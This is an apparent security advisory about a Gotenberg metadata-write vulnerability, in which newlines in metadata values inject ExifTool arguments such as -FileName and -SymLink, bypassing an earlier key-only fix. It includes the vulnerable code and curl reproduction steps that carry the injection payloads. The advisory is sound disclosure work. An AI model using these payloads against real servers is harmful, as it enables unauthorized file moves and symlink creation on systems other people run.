Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix)

Vulnerability Details

CWE: CWE-20 - Improper Input Validation

The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.

Summary

The metadata write endpoint in v8.30.1 validates metadata keys for control characters (commit 405f106) but leaves metadata values unsanitized. go-exiftool's WriteMetadata sends each key/value pair to ExifTool's stdin as:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

A \n character in str splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of -FileName, -Directory, -SymLink, -HardLink, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent.

Root Cause

pkg/modules/exiftool/exiftool.go — WriteMetadata() function:

// KEY validation added in v8.30.1 (commit 405f106)
for key := range metadata {
    if !safeKeyPattern.MatchString(key) {  // ← only keys checked
        return fmt.Errorf(...)
    }
}

// VALUE passed through unsanitized:
case string:
    fileMetadata[0].SetString(key, val)  // ← val may contain \n

go-exiftool (barasher/go-exiftool) then writes:

fmt.Fprintln(e.stdin, "-"+k+"="+str)
// If str = "test\n-FileName=/tmp/inject_proof"
// ExifTool receives two lines:
//   -Title=test
//   -FileName=/tmp/inject_proof

Steps to Reproduce

1. Start Gotenberg:
   docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8

2. Create a test PDF:
   curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
     -o test.pdf http://localhost:3001/forms/chromium/convert/html \
     <<< '<html><body>test</body></html>'

3. Inject -FileName via value newline:
   curl -s -w "\nHTTP %{http_code}" \
     -F '[email protected];type=application/pdf' \
     -F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   # Returns HTTP 404 (file moved away from temp path)

4. Verify injection inside container:
   docker exec gotenberg-test ls -la /tmp/inject_proof
   # -rw-r--r-- 1 root root ... /tmp/inject_proof  (PDF moved here)

5. Symlink injection:
   curl -s -w "\nHTTP %{http_code}" \
     -F '[email protected];type=application/pdf' \
     -F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   docker exec gotenberg-test ls -la /tmp/sym_inject
   # lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf